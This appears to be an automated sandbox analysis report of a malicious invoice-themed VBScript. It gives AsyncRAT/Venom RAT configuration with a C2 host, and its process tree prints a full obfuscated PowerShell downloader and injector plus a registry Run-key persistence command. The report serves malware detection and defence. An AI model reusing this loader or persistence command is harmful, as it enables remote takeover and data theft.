Analysis
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max time kernel
595s -
max time network
591s -
platform
windows11-21h2_x64 -
resource
win11-20231215-en -
resource tags
arch:x64arch:x86image:win11-20231215-enlocale:en-usos:windows11-21h2-x64system -
submitted
22/01/2024, 20:44
Static task
static1
Behavioral task
behavioral1
Sample
INVOICE-WR002.vbs
Resource
win10-20231215-en
Behavioral task
behavioral2
Sample
INVOICE-WR002.vbs
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
INVOICE-WR002.vbs
Resource
win11-20231215-en
General
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Target
INVOICE-WR002.vbs
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Size
15KB
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MD5
bb712d3c18fea72efe80f968114b4443
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SHA1
09eef257c8e2a61019adfc5b6f38f001e5403813
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SHA256
ad795f755beba3292bfc723d33bc0d276938e491629ddf50d4c3b48c55838219
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SHA512
3ca5ca950d6e3c63c514ee4947b561e1db8698a2f80e7f664f76741b55951a3f3edbe0a35768eb74052c6be4f3ea118931c6651577fd024f43e4089026de7c0d
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SSDEEP
192:lrLS5gop0kq3n98Fw9/lPlhcz+8R0YeshPQpSaUa+Ux/8eXbrl7zWI2o60KoZ3Yw:pLaO/dhIJushPYSzg1pjk2/N
Malware Config
Extracted
asyncrat
5.0.5
Venom Clients
vendjksld.duckdns.org:8890
Venom_RAT_HVNC_Mutex_Venom RAT_HVNC
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delay
1
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install
false
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install_folder
%AppData%
Signatures
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Async RAT payload 2 IoCs
resource yara_rule behavioral3/memory/4380-57-0x000000006F230000-0x0000000070547000-memory.dmp asyncrat behavioral3/memory/4380-58-0x000000006F230000-0x000000006F246000-memory.dmp asyncrat -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1155165157-2721788668-771323609-1000\Software\Microsoft\Windows\CurrentVersion\Run\Guesstimating = "%Gammelkommunisten% -w 1 $Malandered=(Get-ItemProperty -Path 'HKCU:\\Frea\\').Teratosis;%Gammelkommunisten% ($Malandered)" reg.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 4380 msbuild.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2788 powershell.exe 4380 msbuild.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2788 set thread context of 4380 2788 powershell.exe 82 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry key 1 TTPs 1 IoCs
pid Process 2480 reg.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1568 powershell.exe 1568 powershell.exe 2788 powershell.exe 2788 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2788 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1568 powershell.exe Token: SeDebugPrivilege 2788 powershell.exe Token: SeDebugPrivilege 4380 msbuild.exe -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 2016 wrote to memory of 1568 2016 WScript.exe 78 PID 2016 wrote to memory of 1568 2016 WScript.exe 78 PID 1568 wrote to memory of 2788 1568 powershell.exe 80 PID 1568 wrote to memory of 2788 1568 powershell.exe 80 PID 1568 wrote to memory of 2788 1568 powershell.exe 80 PID 2788 wrote to memory of 4380 2788 powershell.exe 82 PID 2788 wrote to memory of 4380 2788 powershell.exe 82 PID 2788 wrote to memory of 4380 2788 powershell.exe 82 PID 2788 wrote to memory of 4380 2788 powershell.exe 82 PID 2788 wrote to memory of 4380 2788 powershell.exe 82 PID 4380 wrote to memory of 2452 4380 msbuild.exe 83 PID 4380 wrote to memory of 2452 4380 msbuild.exe 83 PID 4380 wrote to memory of 2452 4380 msbuild.exe 83 PID 2452 wrote to memory of 2480 2452 cmd.exe 85 PID 2452 wrote to memory of 2480 2452 cmd.exe 85 PID 2452 wrote to memory of 2480 2452 cmd.exe 85
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INVOICE-WR002.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2016 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "gal;gal;gal;gal;gal;gal;gal;gal;gal;Function Fodfstets9 ($bestykkende){$Hymenial = $bestykkende.Length-1; For ($Enterorrhaphy=4; $Enterorrhaphy -lt $Hymenial){$Hovedkalender=$Hovedkalender+$bestykkende.Substring( $Enterorrhaphy, 1);$Enterorrhaphy+=5;}$Hovedkalender;}$Semestrenes=Fodfstets9 'MetrhStvetAflvtScarpBospsTend:Buff/ Gua/LbehwSkeliStilnUnlodMaluetranrTrops Komw ForoTrimnruffdBooteJallr Bams Fes.IxiacAggloKnowm Arn/PoliJAgonK Rrf/epigM Inku MajzSletzAlge.BashtChectDisef Ree ';$Hovedkalender01=Fodfstets9 'SkoviTokteHalvxTavs ';$Troedes = Fodfstets9 ' Ama\FremsBully PensSyniw TraoHeatwCamp6Forf4Solv\EgopW SouiBelln Incd Solo ForwEftesLokoP ScroStimwSirueDelmr KkkSBoush Muce UpclConfl Kne\FastvSpor1myzo.Samo0Sten\KjrspHoveoskalw TileRegurIllusSharhStine liplelmel Nst.Fucue OlvxBandeSalv ';&($Hovedkalender01) (Fodfstets9 ' Bes$StruF KrouSporl ActdBieneRekomEstiaMedenAnchd Cros FllsInsenbugoaEntokProjslsni6 Ant2Simp2 Haa=Musc$SambeVilkn AkvvBeto: PanwBrnei KaynMinidZygoi CorrSouf ') ;&($Hovedkalender01) (Fodfstets9 'Reco$GranTUndsrSwoooCoileIldsdPareeMantsbras=Rigm$HjlaFUdhnuGanglLolad KroeFastmForbaStifnRepudPrelsUsursTromnPaneaSemik FulsFled6Kans2Hvid2 Jud+Tran$ ConTInser SecoForueCosgdFrasePleosGlde ') ;&($Hovedkalender01) (Fodfstets9 ' Qui$FingLTilbemayogForne TerrStaaeRathnIntedMaseeAutosPreo Attr= Ste Ski( Tun(TrstgGuavwPetrmDishiSemi FruswPostiUnswnBigh3Vizs2Bios_Fuglp VilrTubeo CorcDisaehings AlmsRaba Unde-RevoFBarn RygrPTindr AfloUndecLufteMangsKrigs VilIToasdJubl=Sarc$Naem{shopPimmaIreinDAfry}Scho)Firm.DefiCBesvoFrihmaskemSankaGestnMargdKlvaLMiljiTeosn PapeToit)Simu Neig- KlasDemopSteelKsediTitatSoci Sove[ Slyc PaphProtaAlagrPrei] Par3durk4Kedg ');&($Hovedkalender01) (Fodfstets9 'conj$HjorFMacreOveraHvlbtSmadhFrueeEnsir ForbClineCarpdAfstd udre Kred Cle Alek=Forb Sky$MollLBalleUnwagCirceCagergldeeCompn CruddeyseDobbsDelt[Whis$FakuL Haee ExqgLocreMycor GenePaavn VeddMezceAttosRule. AigcRammoUnreu CusnSekttGloe- Pan2Inne]Lejl ');&($Hovedkalender01) (Fodfstets9 'Gung$ RomFKremrKlknaAfsktHaana StegDrejeNatur Une=Drab(AalnTmawreForrsTimotSlyn- UfePSortaFacttYppehShel Roma$VideTReserAlguoRegreCatadSammeSpecsSyne) fav Tota-TungA SurnUnaldLove Asp(Buti[MuddITvrdnAnket NonP AuttGymsrRist] Str:Nain:bogts PhyiInduzParteSkif Unsp-TakteLydiqUdeb Udh8 fir)Chir ') ;if ($Fratager) {&$Troedes $Featherbedded;} else {;$Hovedkalender00=Fodfstets9 ' CraSCanatHarda seprPanetWigg-karrBBeheiacettAnemsViseT HafrJobaachasnKorhsChinfUndeeSurarBego Oers-HymeSGenbo wamuFejlrCorncHeree Kab Fora$NydaSWalpeIndfmForeeTermsFaiptPrverPerie LevnCondeBremsKalk Delt-MuseDUnimeklensDisctSkudi SolnsyleaClartSkrmiMakkoAffrnUnbe Olie$ForsFleukuSnarlRegrdTangeVaasmHkkea QuanrverdSadtsFemhsStrunforaaFyrrkKolosTeam6Pero2Hrin2Deko ';&($Hovedkalender01) (Fodfstets9 'Skab$SmrrFSnvluUdhnlUdipdEpiceKashmSkola SplnCyrid GrasBlyas BernCapiaKompkBarnsCorn6 Sup2Bulb2 Rom=Lumi$ UnbeinfonCisavSpum:Lnpaa Dikp UnipGrnsdKornaUnintPausaJobs ') ;&($Hovedkalender01) (Fodfstets9 'CoagIRetsm Frep GruoTidsrEquitPaat-UpgaMLeggo Ford TjeuCowalUsleeSofa PhoBLauriForftSlagsUnpuTDaglranmaaSnohn StesDeclfOkkuePartrUnob ') ;$Fuldemandssnaks622=$Fuldemandssnaks622+'\Tilnavns.Cla';while (-not $Nonintuitive) {&($Hovedkalender01) (Fodfstets9 ' Alp$OverNPulloWoadn baliPresnperitDeatuCirci UndtNonciDetevnonheTant=Odon(OverTGymneFailsFlect Smr-KunsP MecaOvertunomhKonv Hem$ThesFEneruUngul retdDamreIndjm feraKunsnSweadPlaysdandsCaltnTeleaUncokBogssForv6 Str2Puga2Como)Acic ') ;&($Hovedkalender01) $Hovedkalender00;&($Hovedkalender01) (Fodfstets9 'HypeSGiantPeria SyvrButctPica-StjlSSerrl BereProfe Kalp Jul Ngle5 Bor ');}&($Hovedkalender01) (Fodfstets9 ' Hhn$UnsuFTiltoMaltdLeonfPoorsFiskt Snke Firt HoasHove Achi= Mal BesiGHedgeJordtBane-PrisCMicroConsnmasttUdloe OranKrastAkro Anag$HjemFUdstu FejlOtindDraweAalemBogiaOilbnKolbdPlatsRomasBalan DynaRdgakStedsBygg6Fibr2 Mon2Tils ');&($Hovedkalender01) (Fodfstets9 'prut$SpdbRKldee ChonGangaTopltLangiEleco LofnDiscaCounl seri attzudleiEften RikgAfhr Scim=Dere Tena[solaSAdjoyTilssEmpetTille nonmforg.EnglC Foro HaanOmbrvPlaye ForrVolatMili] Stu: Bro:ProtFStudrModeounsamHavgB udlaNonssBrneeUnde6Roug4OtorS ExctOverrCosiiChoanWelcgNonc(Prep$SkreFWacaoArbedProjffinns SaltMangekleptundesSyge)Prof ');&($Hovedkalender01) (Fodfstets9 ' Cen$LareHThinoBogkvPhoteTandd DeckLikvaOprel SideWindn CridPrvmeMapprDest2Roes Clou=cogi thei[avanSShaty Dobs TyptOvere insmSlum.CalcTPuckeStanxWerat Ren.HypeERestn Oppc EquoMisqdStaviFlitnIncagProc]Dkst: Sik:MisiA NonSSpliC TaxIFaksIslve. TanGShane TidtOffdSDamptzulurMaltipigfnhindgAstr(Peng$TrstRTarreGenknValgaUmbrtDiskiTankoTilsn DeaaLeaklDecei KadzRoseiFortnVermgHord)Nona ');&($Hovedkalender01) (Fodfstets9 ' Afm$DiebIAfkonUnapdInderPlysuEreml OnllBjereUnditLyri=Nonc$LattHReguo fravtorpeallydTyvskFustaBaptl UndePerenKerndUnsteCrourRoge2Tran. PipsUddauIndsbBernsRatatEtagrSpaliUdvanSummgsofa(Udby3 Mud0 Ove8snub4Ring9 Luf2Caff, Dan2Jobs7Gram5Damb7Hrfr2Fibb)Musi ');&($Hovedkalender01) $Indrullet;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1568 -
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "gal;gal;gal;gal;gal;gal;gal;gal;gal;Function Fodfstets9 ($bestykkende){$Hymenial = $bestykkende.Length-1; For ($Enterorrhaphy=4; $Enterorrhaphy -lt $Hymenial){$Hovedkalender=$Hovedkalender+$bestykkende.Substring( $Enterorrhaphy, 1);$Enterorrhaphy+=5;}$Hovedkalender;}$Semestrenes=Fodfstets9 'MetrhStvetAflvtScarpBospsTend:Buff/ Gua/LbehwSkeliStilnUnlodMaluetranrTrops Komw ForoTrimnruffdBooteJallr Bams Fes.IxiacAggloKnowm Arn/PoliJAgonK Rrf/epigM Inku MajzSletzAlge.BashtChectDisef Ree ';$Hovedkalender01=Fodfstets9 'SkoviTokteHalvxTavs ';$Troedes = Fodfstets9 ' Ama\FremsBully PensSyniw TraoHeatwCamp6Forf4Solv\EgopW SouiBelln Incd Solo ForwEftesLokoP ScroStimwSirueDelmr KkkSBoush Muce UpclConfl Kne\FastvSpor1myzo.Samo0Sten\KjrspHoveoskalw TileRegurIllusSharhStine liplelmel Nst.Fucue OlvxBandeSalv ';&($Hovedkalender01) (Fodfstets9 ' Bes$StruF KrouSporl ActdBieneRekomEstiaMedenAnchd Cros FllsInsenbugoaEntokProjslsni6 Ant2Simp2 Haa=Musc$SambeVilkn AkvvBeto: PanwBrnei KaynMinidZygoi CorrSouf ') ;&($Hovedkalender01) (Fodfstets9 'Reco$GranTUndsrSwoooCoileIldsdPareeMantsbras=Rigm$HjlaFUdhnuGanglLolad KroeFastmForbaStifnRepudPrelsUsursTromnPaneaSemik FulsFled6Kans2Hvid2 Jud+Tran$ ConTInser SecoForueCosgdFrasePleosGlde ') ;&($Hovedkalender01) (Fodfstets9 ' Qui$FingLTilbemayogForne TerrStaaeRathnIntedMaseeAutosPreo Attr= Ste Ski( Tun(TrstgGuavwPetrmDishiSemi FruswPostiUnswnBigh3Vizs2Bios_Fuglp VilrTubeo CorcDisaehings AlmsRaba Unde-RevoFBarn RygrPTindr AfloUndecLufteMangsKrigs VilIToasdJubl=Sarc$Naem{shopPimmaIreinDAfry}Scho)Firm.DefiCBesvoFrihmaskemSankaGestnMargdKlvaLMiljiTeosn PapeToit)Simu Neig- KlasDemopSteelKsediTitatSoci Sove[ Slyc PaphProtaAlagrPrei] Par3durk4Kedg ');&($Hovedkalender01) (Fodfstets9 'conj$HjorFMacreOveraHvlbtSmadhFrueeEnsir ForbClineCarpdAfstd udre Kred Cle Alek=Forb Sky$MollLBalleUnwagCirceCagergldeeCompn CruddeyseDobbsDelt[Whis$FakuL Haee ExqgLocreMycor GenePaavn VeddMezceAttosRule. AigcRammoUnreu CusnSekttGloe- Pan2Inne]Lejl ');&($Hovedkalender01) (Fodfstets9 'Gung$ RomFKremrKlknaAfsktHaana StegDrejeNatur Une=Drab(AalnTmawreForrsTimotSlyn- UfePSortaFacttYppehShel Roma$VideTReserAlguoRegreCatadSammeSpecsSyne) fav Tota-TungA SurnUnaldLove Asp(Buti[MuddITvrdnAnket NonP AuttGymsrRist] Str:Nain:bogts PhyiInduzParteSkif Unsp-TakteLydiqUdeb Udh8 fir)Chir ') ;if ($Fratager) {&$Troedes $Featherbedded;} else {;$Hovedkalender00=Fodfstets9 ' CraSCanatHarda seprPanetWigg-karrBBeheiacettAnemsViseT HafrJobaachasnKorhsChinfUndeeSurarBego Oers-HymeSGenbo wamuFejlrCorncHeree Kab Fora$NydaSWalpeIndfmForeeTermsFaiptPrverPerie LevnCondeBremsKalk Delt-MuseDUnimeklensDisctSkudi SolnsyleaClartSkrmiMakkoAffrnUnbe Olie$ForsFleukuSnarlRegrdTangeVaasmHkkea QuanrverdSadtsFemhsStrunforaaFyrrkKolosTeam6Pero2Hrin2Deko ';&($Hovedkalender01) (Fodfstets9 'Skab$SmrrFSnvluUdhnlUdipdEpiceKashmSkola SplnCyrid GrasBlyas BernCapiaKompkBarnsCorn6 Sup2Bulb2 Rom=Lumi$ UnbeinfonCisavSpum:Lnpaa Dikp UnipGrnsdKornaUnintPausaJobs ') ;&($Hovedkalender01) (Fodfstets9 'CoagIRetsm Frep GruoTidsrEquitPaat-UpgaMLeggo Ford TjeuCowalUsleeSofa PhoBLauriForftSlagsUnpuTDaglranmaaSnohn StesDeclfOkkuePartrUnob ') ;$Fuldemandssnaks622=$Fuldemandssnaks622+'\Tilnavns.Cla';while (-not $Nonintuitive) {&($Hovedkalender01) (Fodfstets9 ' Alp$OverNPulloWoadn baliPresnperitDeatuCirci UndtNonciDetevnonheTant=Odon(OverTGymneFailsFlect Smr-KunsP MecaOvertunomhKonv Hem$ThesFEneruUngul retdDamreIndjm feraKunsnSweadPlaysdandsCaltnTeleaUncokBogssForv6 Str2Puga2Como)Acic ') ;&($Hovedkalender01) $Hovedkalender00;&($Hovedkalender01) (Fodfstets9 'HypeSGiantPeria SyvrButctPica-StjlSSerrl BereProfe Kalp Jul Ngle5 Bor ');}&($Hovedkalender01) (Fodfstets9 ' Hhn$UnsuFTiltoMaltdLeonfPoorsFiskt Snke Firt HoasHove Achi= Mal BesiGHedgeJordtBane-PrisCMicroConsnmasttUdloe OranKrastAkro Anag$HjemFUdstu FejlOtindDraweAalemBogiaOilbnKolbdPlatsRomasBalan DynaRdgakStedsBygg6Fibr2 Mon2Tils ');&($Hovedkalender01) (Fodfstets9 'prut$SpdbRKldee ChonGangaTopltLangiEleco LofnDiscaCounl seri attzudleiEften RikgAfhr Scim=Dere Tena[solaSAdjoyTilssEmpetTille nonmforg.EnglC Foro HaanOmbrvPlaye ForrVolatMili] Stu: Bro:ProtFStudrModeounsamHavgB udlaNonssBrneeUnde6Roug4OtorS ExctOverrCosiiChoanWelcgNonc(Prep$SkreFWacaoArbedProjffinns SaltMangekleptundesSyge)Prof ');&($Hovedkalender01) (Fodfstets9 ' Cen$LareHThinoBogkvPhoteTandd DeckLikvaOprel SideWindn CridPrvmeMapprDest2Roes Clou=cogi thei[avanSShaty Dobs TyptOvere insmSlum.CalcTPuckeStanxWerat Ren.HypeERestn Oppc EquoMisqdStaviFlitnIncagProc]Dkst: Sik:MisiA NonSSpliC TaxIFaksIslve. TanGShane TidtOffdSDamptzulurMaltipigfnhindgAstr(Peng$TrstRTarreGenknValgaUmbrtDiskiTankoTilsn DeaaLeaklDecei KadzRoseiFortnVermgHord)Nona ');&($Hovedkalender01) (Fodfstets9 ' Afm$DiebIAfkonUnapdInderPlysuEreml OnllBjereUnditLyri=Nonc$LattHReguo fravtorpeallydTyvskFustaBaptl UndePerenKerndUnsteCrourRoge2Tran. PipsUddauIndsbBernsRatatEtagrSpaliUdvanSummgsofa(Udby3 Mud0 Ove8snub4Ring9 Luf2Caff, Dan2Jobs7Gram5Damb7Hrfr2Fibb)Musi ');&($Hovedkalender01) $Indrullet;}"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2788 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4380 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Guesstimating" /t REG_EXPAND_SZ /d "%Gammelkommunisten% -w 1 $Malandered=(Get-ItemProperty -Path 'HKCU:\Frea\').Teratosis;%Gammelkommunisten% ($Malandered)"5⤵
- Suspicious use of WriteProcessMemory
PID:2452 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Guesstimating" /t REG_EXPAND_SZ /d "%Gammelkommunisten% -w 1 $Malandered=(Get-ItemProperty -Path 'HKCU:\Frea\').Teratosis;%Gammelkommunisten% ($Malandered)"6⤵
- Adds Run key to start application
- Modifies registry key
PID:2480
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82